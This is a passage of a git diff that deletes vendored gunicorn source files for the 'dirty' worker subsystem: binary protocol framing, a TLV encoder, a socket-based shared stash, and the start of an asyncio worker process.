asyncio.IncompleteReadError: If connection closed mid-read - """ - # Read header - try: - header = await reader.readexactly(HEADER_SIZE) - except asyncio.IncompleteReadError as e: - if len(e.partial) == 0: - # Clean close - no data was read - raise - raise DirtyProtocolError( - f"Incomplete header: got {len(e.partial)} bytes, " - f"expected {HEADER_SIZE}", - raw_data=e.partial - ) - - msg_type, request_id, length = BinaryProtocol.decode_header(header) - - # Read payload - if length > 0: - try: - payload_data = await reader.readexactly(length) - except asyncio.IncompleteReadError as e: - raise DirtyProtocolError( - f"Incomplete payload: got {len(e.partial)} bytes, " - f"expected {length}", - raw_data=e.partial - ) - - try: - payload_dict = TLVEncoder.decode_full(payload_data) - except DirtyProtocolError: - raise - except Exception as e: - raise DirtyProtocolError( - f"Failed to decode TLV payload: {e}", - raw_data=payload_data[:50] - ) - else: - payload_dict = {} - - # Build response dict - msg_type_str = MSG_TYPE_TO_STR[msg_type] - result = {"type": msg_type_str, "id": request_id} - result.update(payload_dict) - - return result - - @staticmethod - async def write_message_async(writer: asyncio.StreamWriter, - message: dict) -> None: - """ - Write a message to async stream. - - Accepts dict format for backwards compatibility. - - Args: - writer: asyncio StreamWriter - message: Message dict with 'type', 'id', and payload fields - - Raises: - DirtyProtocolError: If encoding fails - ConnectionError: If write fails - """ - data = BinaryProtocol._encode_from_dict(message) - writer.write(data) - await writer.drain() - - # ------------------------------------------------------------------------- - # Sync API (for HTTP workers that may not be async) - # ------------------------------------------------------------------------- - - @staticmethod - def _recv_exactly(sock: socket.socket, n: int) -> bytes: - """ - Receive exactly n bytes from a socket. - - Args: - sock: Socket to read from - n: Number of bytes to read - - Returns: - bytes: Received data - - Raises: - DirtyProtocolError: If read fails or connection closed - """ - data = b"" - while len(data) < n: - chunk = sock.recv(n - len(data)) - if not chunk: - if len(data) == 0: - raise DirtyProtocolError("Connection closed") - raise DirtyProtocolError( - f"Connection closed after {len(data)} bytes, expected {n}", - raw_data=data - ) - data += chunk - return data - - @staticmethod - def read_message(sock: socket.socket) -> dict: - """ - Read a complete message from socket (sync). - - Args: - sock: Socket to read from - - Returns: - dict: Message dict with 'type', 'id', and payload fields - - Raises: - DirtyProtocolError: If read fails or message is malformed - """ - # Read header - header = BinaryProtocol._recv_exactly(sock, HEADER_SIZE) - msg_type, request_id, length = BinaryProtocol.decode_header(header) - - # Read payload - if length > 0: - payload_data = BinaryProtocol._recv_exactly(sock, length) - try: - payload_dict = TLVEncoder.decode_full(payload_data) - except DirtyProtocolError: - raise - except Exception as e: - raise DirtyProtocolError( - f"Failed to decode TLV payload: {e}", - raw_data=payload_data[:50] - ) - else: - payload_dict = {} - - # Build response dict - msg_type_str = MSG_TYPE_TO_STR[msg_type] - result = {"type": msg_type_str, "id": request_id} - result.update(payload_dict) - - return result - - @staticmethod - def write_message(sock: socket.socket, message: dict) -> None: - """ - Write a message to socket (sync). - - Args: - sock: Socket to write to - message: Message dict with 'type', 'id', and payload fields - - Raises: - DirtyProtocolError: If encoding fails - OSError: If write fails - """ - data = BinaryProtocol._encode_from_dict(message) - sock.sendall(data) - - @staticmethod - def _encode_from_dict(message: dict) -> bytes: # pylint: disable=too-many-return-statements - """ - Encode a message dict to binary format. - - Supports the old dict-based API for backwards compatibility. - - Args: - message: Message dict with 'type', 'id', and payload fields - - Returns: - bytes: Complete encoded message - """ - msg_type_str = message.get("type") - request_id = message.get("id", 0) - - # Handle string or int request IDs - if isinstance(request_id, str): - # For backwards compat with UUID strings, hash to int - request_id = hash(request_id) & 0xFFFFFFFFFFFFFFFF - - msg_type = MSG_TYPE_FROM_STR.get(msg_type_str) - if msg_type is None: - raise DirtyProtocolError(f"Unknown message type: {msg_type_str}") - - if msg_type == MSG_TYPE_REQUEST: - return BinaryProtocol.encode_request( - request_id, - message.get("app_path", ""), - message.get("action", ""), - message.get("args"), - message.get("kwargs") - ) - elif msg_type == MSG_TYPE_RESPONSE: - return BinaryProtocol.encode_response( - request_id, - message.get("result") - ) - elif msg_type == MSG_TYPE_ERROR: - return BinaryProtocol.encode_error( - request_id, - message.get("error", {}) - ) - elif msg_type == MSG_TYPE_CHUNK: - return BinaryProtocol.encode_chunk( - request_id, - message.get("data") - ) - elif msg_type == MSG_TYPE_END: - return BinaryProtocol.encode_end(request_id) - elif msg_type == MSG_TYPE_STASH: - return BinaryProtocol.encode_stash( - request_id, - message.get("op"), - message.get("table", ""), - message.get("key"), - message.get("value"), - message.get("pattern") - ) - elif msg_type == MSG_TYPE_STATUS: - return BinaryProtocol.encode_status(request_id) - elif msg_type == MSG_TYPE_MANAGE: - return BinaryProtocol.encode_manage( - request_id, - message.get("op"), - message.get("count", 1) - ) - else: - raise DirtyProtocolError(f"Unhandled message type: {msg_type}") - - -# ============================================================================= -# Backwards Compatibility Aliases -# ============================================================================= - -# Alias BinaryProtocol as DirtyProtocol for drop-in replacement -DirtyProtocol = BinaryProtocol - - -# Message builder helpers (backwards compatible with old API) -def make_request(request_id, app_path: str, action: str, - args: tuple = None, kwargs: dict = None) -> dict: - """ - Build a request message dict. - - Args: - request_id: Unique request identifier (int or str) - app_path: Import path of the dirty app (e.g., 'myapp.ml:MLApp') - action: Action to call on the app - args: Positional arguments - kwargs: Keyword arguments - - Returns: - dict: Request message dict - """ - return { - "type": DirtyProtocol.MSG_TYPE_REQUEST, - "id": request_id, - "app_path": app_path, - "action": action, - "args": list(args) if args else [], - "kwargs": kwargs or {}, - } - - -def make_response(request_id, result) -> dict: - """ - Build a success response message dict. - - Args: - request_id: Request identifier this responds to - result: Result value - - Returns: - dict: Response message dict - """ - return { - "type": DirtyProtocol.MSG_TYPE_RESPONSE, - "id": request_id, - "result": result, - } - - -def make_error_response(request_id, error) -> dict: - """ - Build an error response message dict. - - Args: - request_id: Request identifier this responds to - error: DirtyError instance or dict with error info - - Returns: - dict: Error response message dict - """ - from .errors import DirtyError - if isinstance(error, DirtyError): - error_dict = error.to_dict() - elif isinstance(error, dict): - error_dict = error - else: - error_dict = { - "error_type": type(error).__name__, - "message": str(error), - "details": {}, - } - - return { - "type": DirtyProtocol.MSG_TYPE_ERROR, - "id": request_id, - "error": error_dict, - } - - -def make_chunk_message(request_id, data) -> dict: - """ - Build a chunk message dict for streaming responses. - - Args: - request_id: Request identifier this chunk belongs to - data: Chunk data - - Returns: - dict: Chunk message dict - """ - return { - "type": DirtyProtocol.MSG_TYPE_CHUNK, - "id": request_id, - "data": data, - } - - -def make_end_message(request_id) -> dict: - """ - Build an end-of-stream message dict. - - Args: - request_id: Request identifier this ends - - Returns: - dict: End message dict - """ - return { - "type": DirtyProtocol.MSG_TYPE_END, - "id": request_id, - } - - -def make_stash_message(request_id, op: int, table: str, - key=None, value=None, pattern=None) -> dict: - """ - Build a stash operation message dict. - - Args: - request_id: Unique request identifier (int or str) - op: Stash operation code (STASH_OP_*) - table: Table name - key: Optional key for put/get/delete operations - value: Optional value for put operation - pattern: Optional pattern for keys operation - - Returns: - dict: Stash message dict - """ - msg = { - "type": DirtyProtocol.MSG_TYPE_STASH, - "id": request_id, - "op": op, - "table": table, - } - if key is not None: - msg["key"] = key - if value is not None: - msg["value"] = value - if pattern is not None: - msg["pattern"] = pattern - return msg - - -def make_manage_message(request_id, op: int, count: int = 1) -> dict: - """ - Build a worker management message dict. - - Args: - request_id: Unique request identifier (int or str) - op: Management operation (MANAGE_OP_ADD or MANAGE_OP_REMOVE) - count: Number of workers to add/remove - - Returns: - dict: Manage message dict - """ - return { - "type": DirtyProtocol.MSG_TYPE_MANAGE, - "id": request_id, - "op": op, - "count": count, - } diff --git a/venv/Lib/site-packages/gunicorn/dirty/stash.py b/venv/Lib/site-packages/gunicorn/dirty/stash.py deleted file mode 100644 index 8d3c4801c9b2dd8b61fb399d9fe48e438bdcb9ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/stash.py +++ /dev/null @@ -1,503 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Stash - Global Shared State for Dirty Workers - -Provides simple key-value tables stored in the arbiter process. -All workers can read and write to the same tables. - -Usage:: - - from gunicorn.dirty import stash - - # Basic operations - table is auto-created on first access - stash.put("sessions", "user:1", {"name": "Alice", "role": "admin"}) - user = stash.get("sessions", "user:1") - stash.delete("sessions", "user:1") - - # Dict-like interface - sessions = stash.table("sessions") - sessions["user:1"] = {"name": "Alice"} - user = sessions["user:1"] - del sessions["user:1"] - - # Query operations - keys = stash.keys("sessions") - keys = stash.keys("sessions", pattern="user:*") - - # Table management - stash.ensure("cache") # Explicit creation (idempotent) - stash.clear("sessions") # Delete all entries - stash.delete_table("sessions") # Delete the table itself - tables = stash.tables() # List all tables - -Declarative usage in DirtyApp:: - - class MyApp(DirtyApp): - stashes = ["sessions", "cache"] # Auto-created on arbiter start - - def __call__(self, action, *args, **kwargs): - # Tables are ready to use - stash.put("sessions", "key", "value") - -Note: Tables are stored in the arbiter process and are ephemeral. -If the arbiter restarts, all data is lost. -""" - -import threading -import uuid - -from .errors import DirtyError -from .protocol import ( - DirtyProtocol, - STASH_OP_PUT, - STASH_OP_GET, - STASH_OP_DELETE, - STASH_OP_KEYS, - STASH_OP_CLEAR, - STASH_OP_INFO, - STASH_OP_ENSURE, - STASH_OP_DELETE_TABLE, - STASH_OP_TABLES, - STASH_OP_EXISTS, - make_stash_message, -) - - -class StashError(DirtyError): - """Base exception for stash operations.""" - - -class StashTableNotFoundError(StashError): - """Raised when a table does not exist.""" - - def __init__(self, table_name): - self.table_name = table_name - super().__init__(f"Stash table not found: {table_name}") - - -class StashKeyNotFoundError(StashError): - """Raised when a key does not exist in a table.""" - - def __init__(self, table_name, key): - self.table_name = table_name - self.key = key - super().__init__(f"Key not found in {table_name}: {key}") - - -class StashClient: - """ - Client for stash operations. - - Communicates with the arbiter which stores all tables in memory. - """ - - def __init__(self, socket_path, timeout=30.0): - """ - Initialize the stash client. - - Args: - socket_path: Path to the dirty arbiter's Unix socket - timeout: Default timeout for operations in seconds - """ - self.socket_path = socket_path - self.timeout = timeout - self._sock = None - self._lock = threading.Lock() - - def _get_request_id(self): - """Generate a unique request ID.""" - return str(uuid.uuid4()) - - def _connect(self): - """Establish connection to arbiter.""" - import socket - if self._sock is not None: - return - - try: - self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - self._sock.settimeout(self.timeout) - self._sock.connect(self.socket_path) - except (socket.error, OSError) as e: - self._sock = None - raise StashError(f"Failed to connect to arbiter: {e}") from e - - def _close(self): - """Close the connection.""" - if self._sock is not None: - try: - self._sock.close() - except Exception: - pass - self._sock = None - - def _execute(self, op, table, key=None, value=None, pattern=None): - """ - Execute a stash operation. - - Args: - op: Operation code (STASH_OP_*) - table: Table name - key: Optional key - value: Optional value - pattern: Optional pattern for keys operation - - Returns: - Result from the operation - """ - with self._lock: - if self._sock is None: - self._connect() - - request_id = self._get_request_id() - message = make_stash_message( - request_id, op, table, - key=key, value=value, pattern=pattern - ) - - try: - DirtyProtocol.write_message(self._sock, message) - response = DirtyProtocol.read_message(self._sock) - - msg_type = response.get("type") - if msg_type == DirtyProtocol.MSG_TYPE_RESPONSE: - return response.get("result") - elif msg_type == DirtyProtocol.MSG_TYPE_ERROR: - error_info = response.get("error", {}) - error_type = error_info.get("error_type", "StashError") - error_msg = error_info.get("message", "Unknown error") - - if error_type == "StashTableNotFoundError": - raise StashTableNotFoundError(table) - if error_type == "StashKeyNotFoundError": - raise StashKeyNotFoundError(table, key) - raise StashError(error_msg) - else: - raise StashError(f"Unexpected response type: {msg_type}") - - except Exception as e: - self._close() - if isinstance(e, StashError): - raise - raise StashError(f"Stash operation failed: {e}") from e - - # ------------------------------------------------------------------------- - # Public API - # ------------------------------------------------------------------------- - - def put(self, table, key, value): - """ - Store a value in a table. - - The table is automatically created if it doesn't exist. - - Args: - table: Table name - key: Key to store under - value: Value to store (must be serializable) - """ - self._execute(STASH_OP_PUT, table, key=key, value=value) - - def get(self, table, key, default=None): - """ - Retrieve a value from a table. - - Args: - table: Table name - key: Key to retrieve - default: Default value if key not found - - Returns: - The stored value, or default if not found - """ - try: - return self._execute(STASH_OP_GET, table, key=key) - except StashKeyNotFoundError: - return default - - def delete(self, table, key): - """ - Delete a key from a table. - - Args: - table: Table name - key: Key to delete - - Returns: - True if key was deleted, False if it didn't exist - """ - return self._execute(STASH_OP_DELETE, table, key=key) - - def keys(self, table, pattern=None): - """ - Get all keys in a table, optionally filtered by pattern. - - Args: - table: Table name - pattern: Optional glob pattern (e.g., "user:*") - - Returns: - List of keys - """ - return self._execute(STASH_OP_KEYS, table, pattern=pattern) - - def clear(self, table): - """ - Delete all entries in a table. - - Args: - table: Table name - """ - self._execute(STASH_OP_CLEAR, table) - - def info(self, table): - """ - Get information about a table. - - Args: - table: Table name - - Returns: - Dict with table info (size, etc.) - """ - return self._execute(STASH_OP_INFO, table) - - def ensure(self, table): - """ - Ensure a table exists (create if not exists). - - This is idempotent - calling it multiple times is safe. - - Args: - table: Table name - """ - self._execute(STASH_OP_ENSURE, table) - - def exists(self, table, key=None): - """ - Check if a table or key exists. - - Args: - table: Table name - key: Optional key to check within the table - - Returns: - True if exists, False otherwise - """ - return self._execute(STASH_OP_EXISTS, table, key=key) - - def delete_table(self, table): - """ - Delete an entire table. - - Args: - table: Table name - """ - self._execute(STASH_OP_DELETE_TABLE, table) - - def tables(self): - """ - List all tables. - - Returns: - List of table names - """ - return self._execute(STASH_OP_TABLES, "") - - def table(self, name): - """ - Get a dict-like interface to a table. - - Args: - name: Table name - - Returns: - StashTable instance - """ - return StashTable(self, name) - - def close(self): - """Close the client connection.""" - with self._lock: - self._close() - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - self.close() - - -class StashTable: - """ - Dict-like interface to a stash table. - - Example:: - - sessions = stash.table("sessions") - sessions["user:1"] = {"name": "Alice"} - user = sessions["user:1"] - del sessions["user:1"] - - # Iteration - for key in sessions: - print(key, sessions[key]) - """ - - def __init__(self, client, name): - self._client = client - self._name = name - - @property - def name(self): - """Table name.""" - return self._name - - def __getitem__(self, key): - result = self._client.get(self._name, key) - if result is None: - # Check if key actually exists with None value - if not self._client.exists(self._name, key): - raise KeyError(key) - return result - - def __setitem__(self, key, value): - self._client.put(self._name, key, value) - - def __delitem__(self, key): - if not self._client.delete(self._name, key): - raise KeyError(key) - - def __contains__(self, key): - return self._client.exists(self._name, key) - - def __iter__(self): - return iter(self._client.keys(self._name)) - - def __len__(self): - info = self._client.info(self._name) - return info.get("size", 0) - - def get(self, key, default=None): - """Get value with default.""" - return self._client.get(self._name, key, default) - - def keys(self, pattern=None): - """Get all keys, optionally filtered by pattern.""" - return self._client.keys(self._name, pattern=pattern) - - def clear(self): - """Delete all entries.""" - self._client.clear(self._name) - - def items(self): - """Iterate over (key, value) pairs.""" - for key in self._client.keys(self._name): - yield key, self._client.get(self._name, key) - - def values(self): - """Iterate over values.""" - for key in self._client.keys(self._name): - yield self._client.get(self._name, key) - - -# ============================================================================= -# Global stash instance (module-level API) -# ============================================================================= - -# Thread-local storage for stash clients -_thread_local = threading.local() - -# Global socket path -_stash_socket_path = None - - -def set_stash_socket_path(path): - """Set the global stash socket path (called during initialization).""" - global _stash_socket_path # pylint: disable=global-statement - _stash_socket_path = path - - -def get_stash_socket_path(): - """Get the stash socket path.""" - import os - if _stash_socket_path is None: - # Check environment variable - path = os.environ.get('GUNICORN_DIRTY_SOCKET') - if path: - return path - raise StashError( - "Stash socket path not configured. " - "Make sure dirty_workers > 0 and dirty_apps are configured." - ) - return _stash_socket_path - - -def _get_client(): - """Get or create a thread-local stash client.""" - client = getattr(_thread_local, 'stash_client', None) - if client is None: - socket_path = get_stash_socket_path() - client = StashClient(socket_path) - _thread_local.stash_client = client - return client - - -# Module-level functions that use the thread-local client - -def put(table, key, value): - """Store a value in a table.""" - _get_client().put(table, key, value) - - -def get(table, key, default=None): - """Retrieve a value from a table.""" - return _get_client().get(table, key, default) - - -def delete(table, key): - """Delete a key from a table.""" - return _get_client().delete(table, key) - - -def keys(table, pattern=None): - """Get all keys in a table.""" - return _get_client().keys(table, pattern) - - -def clear(table): - """Delete all entries in a table.""" - _get_client().clear(table) - - -def info(table): - """Get information about a table.""" - return _get_client().info(table) - - -def ensure(table): - """Ensure a table exists.""" - _get_client().ensure(table) - - -def exists(table, key=None): - """Check if a table or key exists.""" - return _get_client().exists(table, key) - - -def delete_table(table): - """Delete an entire table.""" - _get_client().delete_table(table) - - -def tables(): - """List all tables.""" - return _get_client().tables() - - -def table(name): - """Get a dict-like interface to a table.""" - return _get_client().table(name) diff --git a/venv/Lib/site-packages/gunicorn/dirty/tlv.py b/venv/Lib/site-packages/gunicorn/dirty/tlv.py deleted file mode 100644 index ec18cd7634624b807ead3e6e744a7a32932ee0ea..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/tlv.py +++ /dev/null @@ -1,303 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -TLV (Type-Length-Value) Binary Encoder/Decoder - -Provides efficient binary serialization for dirty worker protocol messages. -Inspired by OpenBSD msgctl/msgsnd message format. - -Type Codes: - 0x00: None (no value bytes) - 0x01: bool (1 byte: 0x00 or 0x01) - 0x05: int64 (8 bytes big-endian signed) - 0x06: float64 (8 bytes IEEE 754) - 0x10: bytes (4-byte length + raw bytes) - 0x11: string (4-byte length + UTF-8 encoded) - 0x20: list (4-byte count + encoded elements) - 0x21: dict (4-byte count + encoded key-value pairs) -""" - -import struct - -from .errors import DirtyProtocolError - - -# Type codes -TYPE_NONE = 0x00 -TYPE_BOOL = 0x01 -TYPE_INT64 = 0x05 -TYPE_FLOAT64 = 0x06 -TYPE_BYTES = 0x10 -TYPE_STRING = 0x11 -TYPE_LIST = 0x20 -TYPE_DICT = 0x21 - -# Maximum sizes for safety -MAX_STRING_SIZE = 64 * 1024 * 1024 # 64 MB -MAX_BYTES_SIZE = 64 * 1024 * 1024 # 64 MB -MAX_LIST_SIZE = 1024 * 1024 # 1 million items -MAX_DICT_SIZE = 1024 * 1024 # 1 million items - - -class TLVEncoder: - """ - TLV binary encoder/decoder. - - Encodes Python values to binary TLV format and decodes back. - Supports: None, bool, int, float, bytes, str, list, dict. - """ - - @staticmethod - def encode(value) -> bytes: # pylint: disable=too-many-return-statements - """ - Encode a Python value to TLV binary format. - - Args: - value: Python value to encode (None, bool, int, float, - bytes, str, list, or dict) - - Returns: - bytes: TLV-encoded binary data - - Raises: - DirtyProtocolError: If value type is not supported - """ - if value is None: - return bytes([TYPE_NONE]) - - if isinstance(value, bool): - # bool must come before int since bool is a subclass of int - return bytes([TYPE_BOOL, 0x01 if value else 0x00]) - - if isinstance(value, int): - return bytes([TYPE_INT64]) + struct.pack(">q", value) - - if isinstance(value, float): - return bytes([TYPE_FLOAT64]) + struct.pack(">d", value) - - if isinstance(value, bytes): - if len(value) > MAX_BYTES_SIZE: - raise DirtyProtocolError( - f"Bytes too large: {len(value)} bytes " - f"(max: {MAX_BYTES_SIZE})" - ) - return bytes([TYPE_BYTES]) + struct.pack(">I", len(value)) + value - - if isinstance(value, str): - encoded = value.encode("utf-8") - if len(encoded) > MAX_STRING_SIZE: - raise DirtyProtocolError( - f"String too large: {len(encoded)} bytes " - f"(max: {MAX_STRING_SIZE})" - ) - return bytes([TYPE_STRING]) + struct.pack(">I", len(encoded)) + encoded - - if isinstance(value, (list, tuple)): - if len(value) > MAX_LIST_SIZE: - raise DirtyProtocolError( - f"List too large: {len(value)} items " - f"(max: {MAX_LIST_SIZE})" - ) - parts = [bytes([TYPE_LIST]), struct.pack(">I", len(value))] - for item in value: - parts.append(TLVEncoder.encode(item)) - return b"".join(parts) - - if isinstance(value, dict): - if len(value) > MAX_DICT_SIZE: - raise DirtyProtocolError( - f"Dict too large: {len(value)} items " - f"(max: {MAX_DICT_SIZE})" - ) - parts = [bytes([TYPE_DICT]), struct.pack(">I", len(value))] - for k, v in value.items(): - # Convert keys to strings (like JSON) - if not isinstance(k, str): - k = str(k) - parts.append(TLVEncoder.encode(k)) - parts.append(TLVEncoder.encode(v)) - return b"".join(parts) - - raise DirtyProtocolError( - f"Unsupported type for TLV encoding: {type(value).__name__}" - ) - - @staticmethod - def decode(data: bytes, offset: int = 0) -> tuple: # pylint: disable=too-many-return-statements - """ - Decode a TLV-encoded value from binary data. - - Args: - data: Binary data to decode - offset: Starting offset in the data - - Returns: - tuple: (decoded_value, new_offset) - - Raises: - DirtyProtocolError: If data is malformed or truncated - """ - if offset >= len(data): - raise DirtyProtocolError( - "Truncated TLV data: no type byte", - raw_data=data[offset:offset + 20] - ) - - type_code = data[offset] - offset += 1 - - if type_code == TYPE_NONE: - return None, offset - - if type_code == TYPE_BOOL: - if offset >= len(data): - raise DirtyProtocolError( - "Truncated TLV data: missing bool value", - raw_data=data[offset - 1:offset + 20] - ) - value = data[offset] != 0x00 - return value, offset + 1 - - if type_code == TYPE_INT64: - if offset + 8 > len(data): - raise DirtyProtocolError( - "Truncated TLV data: incomplete int64", - raw_data=data[offset - 1:offset + 20] - ) - value = struct.unpack(">q", data[offset:offset + 8])[0] - return value, offset + 8 - - if type_code == TYPE_FLOAT64: - if offset + 8 > len(data): - raise DirtyProtocolError( - "Truncated TLV data: incomplete float64", - raw_data=data[offset - 1:offset + 20] - ) - value = struct.unpack(">d", data[offset:offset + 8])[0] - return value, offset + 8 - - if type_code == TYPE_BYTES: - if offset + 4 > len(data): - raise DirtyProtocolError( - "Truncated TLV data: incomplete bytes length", - raw_data=data[offset - 1:offset + 20] - ) - length = struct.unpack(">I", data[offset:offset + 4])[0] - offset += 4 - - if length > MAX_BYTES_SIZE: - raise DirtyProtocolError( - f"Bytes too large: {length} bytes (max: {MAX_BYTES_SIZE})" - ) - - if offset + length > len(data): - raise DirtyProtocolError( - f"Truncated TLV data: expected {length} bytes, " - f"got {len(data) - offset}", - raw_data=data[offset - 5:offset + 20] - ) - value = data[offset:offset + length] - return value, offset + length - - if type_code == TYPE_STRING: - if offset + 4 > len(data): - raise DirtyProtocolError( - "Truncated TLV data: incomplete string length", - raw_data=data[offset - 1:offset + 20] - ) - length = struct.unpack(">I", data[offset:offset + 4])[0] - offset += 4 - - if length > MAX_STRING_SIZE: - raise DirtyProtocolError( - f"String too large: {length} bytes (max: {MAX_STRING_SIZE})" - ) - - if offset + length > len(data): - raise DirtyProtocolError( - f"Truncated TLV data: expected {length} bytes for string, " - f"got {len(data) - offset}", - raw_data=data[offset - 5:offset + 20] - ) - try: - value = data[offset:offset + length].decode("utf-8") - except UnicodeDecodeError as e: - raise DirtyProtocolError( - f"Invalid UTF-8 in string: {e}", - raw_data=data[offset:offset + min(length, 20)] - ) - return value, offset + length - - if type_code == TYPE_LIST: - if offset + 4 > len(data): - raise DirtyProtocolError( - "Truncated TLV data: incomplete list count", - raw_data=data[offset - 1:offset + 20] - ) - count = struct.unpack(">I", data[offset:offset + 4])[0] - offset += 4 - - if count > MAX_LIST_SIZE: - raise DirtyProtocolError( - f"List too large: {count} items (max: {MAX_LIST_SIZE})" - ) - - items = [] - for _ in range(count): - item, offset = TLVEncoder.decode(data, offset) - items.append(item) - return items, offset - - if type_code == TYPE_DICT: - if offset + 4 > len(data): - raise DirtyProtocolError( - "Truncated TLV data: incomplete dict count", - raw_data=data[offset - 1:offset + 20] - ) - count = struct.unpack(">I", data[offset:offset + 4])[0] - offset += 4 - - if count > MAX_DICT_SIZE: - raise DirtyProtocolError( - f"Dict too large: {count} items (max: {MAX_DICT_SIZE})" - ) - - result = {} - for _ in range(count): - key, offset = TLVEncoder.decode(data, offset) - if not isinstance(key, str): - raise DirtyProtocolError( - f"Dict key must be string, got {type(key).__name__}" - ) - value, offset = TLVEncoder.decode(data, offset) - result[key] = value - return result, offset - - raise DirtyProtocolError( - f"Unknown TLV type code: 0x{type_code:02x}", - raw_data=data[offset - 1:offset + 20] - ) - - @staticmethod - def decode_full(data: bytes): - """ - Decode a complete TLV-encoded value, ensuring all data is consumed. - - Args: - data: Binary data to decode - - Returns: - Decoded Python value - - Raises: - DirtyProtocolError: If data is malformed or has trailing bytes - """ - value, offset = TLVEncoder.decode(data, 0) - if offset != len(data): - raise DirtyProtocolError( - f"Trailing data after TLV: {len(data) - offset} bytes", - raw_data=data[offset:offset + 20] - ) - return value diff --git a/venv/Lib/site-packages/gunicorn/dirty/worker.py b/venv/Lib/site-packages/gunicorn/dirty/worker.py deleted file mode 100644 index 43b91043d4f3d68275cc391c0f3778dba9864dae..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/dirty/worker.py +++ /dev/null @@ -1,530 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Dirty Worker Process - -Asyncio-based worker that loads dirty apps and handles requests -from the DirtyArbiter. - -Threading Model ---------------- -Each dirty worker runs an asyncio event loop in the main thread for: -- Handling connections from the arbiter -- Managing heartbeat updates -- Coordinating task execution - -Actual app execution runs in a ThreadPoolExecutor (separate threads): -- The number of threads is controlled by ``dirty_threads`` config (default: 1) -- Each thread can execute one app action at a time -- The asyncio event loop is NOT blocked by task execution - -State and Global Objects ------------------------- -Apps can maintain persistent state because: - -1. Apps are loaded ONCE when the worker starts (in ``load_apps()``) -2. The same app instances are reused for ALL requests -3. App state (instance variables, loaded models, etc.) persists - -Example:: - - class MLApp(DirtyApp): - def init(self): - self.model = load_heavy_model() # Loaded once, reused - self.cache = {} # Persistent cache - - def predict(self, data): - return self.model.predict(data) # Uses loaded model - -Thread Safety: -- With ``dirty_threads=1`` (default): No concurrent access, thread-safe by design -- With ``dirty_threads > 1``: Multiple threads share the same app instances, - apps MUST be thread-safe (use locks, thread-local storage, etc.) - -Heartbeat and Liveness ----------------------- -The worker sends heartbeat updates to prove it's alive: - -1. A dedicated asyncio task (``_heartbeat_loop``) runs independently -2. It updates the heartbeat file every ``dirty_timeout / 2`` seconds -3. Since tasks run in executor threads, they do NOT block heartbeats -4. The arbiter kills workers that miss heartbeat updates - -Timeout Control ---------------- -Execution timeout is enforced at two levels: - -1. **Worker level**: Each task execution has a timeout (``dirty_timeout``). - If exceeded, the worker returns a timeout error but the thread may - continue running (Python threads cannot be cancelled). - -2. **Arbiter level**: The arbiter also enforces timeout when waiting - for worker response. Workers that don't respond are killed via SIGABRT. - -Note: Since Python threads cannot be forcibly cancelled, a truly stuck -operation will continue until the worker is killed by the arbiter. -""" - -import asyncio -import inspect -import os -import signal -import traceback -import uuid - -from gunicorn import util -from gunicorn.workers.workertmp import WorkerTmp - -from .app import load_dirty_apps -from .errors import ( - DirtyAppError, - DirtyAppNotFoundError, - DirtyTimeoutError, - DirtyWorkerError, -) -from .protocol import ( - DirtyProtocol, - make_response, - make_error_response, - make_chunk_message, - make_end_message, -) - - -class DirtyWorker: - """ - Dirty worker process that loads dirty apps and handles requests. - - Each worker runs its own asyncio event loop and listens on a - worker-specific Unix socket for requests from the DirtyArbiter. - """ - - SIGNALS = [getattr(signal, "SIG%s" % x) for x in - "ABRT HUP QUIT INT TERM USR1".split()] - - def __init__(self, age, ppid, app_paths, cfg, log, socket_path): - """ - Initialize a dirty worker. - - Args: - age: Worker age (for identifying workers) - ppid: Parent process ID - app_paths: List of dirty app import paths - cfg: Gunicorn config - log: Logger - socket_path: Path to this worker's Unix socket - """ - self.age = age - self.pid = "[booting]" - self.ppid = ppid - self.app_paths = app_paths - self.cfg = cfg - self.log = log - self.socket_path = socket_path - self.booted = False - self.aborted = False - self.alive = True - self.tmp = WorkerTmp(cfg) - self.apps = {} - self._server = None - self._loop = None - self._executor = None - - def __str__(self): - return f"" - - def notify(self): - """Update heartbeat timestamp.""" - self.tmp.notify() - - def init_process(self): - """ - Initialize the worker process after fork. - - This is called in the child process after fork. It sets up - the environment, loads apps, and starts the main run loop. - """ - # Set environment variables - if self.cfg.env: - for k, v in self.cfg.env.items(): - os.environ[k] = v - - util.set_owner_process(self.cfg.uid, self.cfg.gid, - initgroups=self.cfg.initgroups) - - # Reseed random number generator - util.seed() - - # Prevent fd inheritance - util.close_on_exec(self.tmp.fileno()) - self.log.close_on_exec() - - # Set up signals - self.init_signals() - - # Load dirty apps - self.load_apps() - - # Call hook - self.pid = os.getpid() - self.cfg.dirty_worker_init(self) - - # Enter main run loop - self.booted = True - self.run() - - def init_signals(self): - """Set up signal handlers.""" - # Reset signal handlers from parent - for sig in self.SIGNALS: - signal.signal(sig, signal.SIG_DFL) - - # Handle graceful shutdown - signal.signal(signal.SIGTERM, self._signal_handler) - signal.signal(signal.SIGQUIT, self._signal_handler) - signal.signal(signal.SIGINT, self._signal_handler) - - # Handle abort (timeout) - signal.signal(signal.SIGABRT, self._signal_handler) - - # Handle USR1 (reopen logs) - signal.signal(signal.SIGUSR1, self._signal_handler) - - def _signal_handler(self, sig, frame): - """Handle signals by setting alive = False.""" - if sig == signal.SIGUSR1: - self.log.reopen_files() - return - - self.alive = False - if self._loop: - self._loop.call_soon_threadsafe(self._shutdown) - - def _shutdown(self): - """Initiate async shutdown.""" - if self._server: - self._server.close() - - def load_apps(self): - """Load all configured dirty apps.""" - try: - self.apps = load_dirty_apps(self.app_paths) - for path, app in self.apps.items(): - self.log.debug("Loaded dirty app: %s", path) - try: - app.init() - self.log.info("Initialized dirty app: %s", path) - except Exception as e: - self.log.error("Failed to initialize dirty app %s: %s", - path, e) - raise - except Exception as e: - self.log.error("Failed to load dirty apps: %s", e) - raise - - def run(self): - """Run the main asyncio event loop.""" - # Lazy import for gevent compatibility (see #3482) - from concurrent.futures import ThreadPoolExecutor - - # Create thread pool for executing app actions - num_threads = self.cfg.dirty_threads - self._executor = ThreadPoolExecutor( - max_workers=num_threads, - 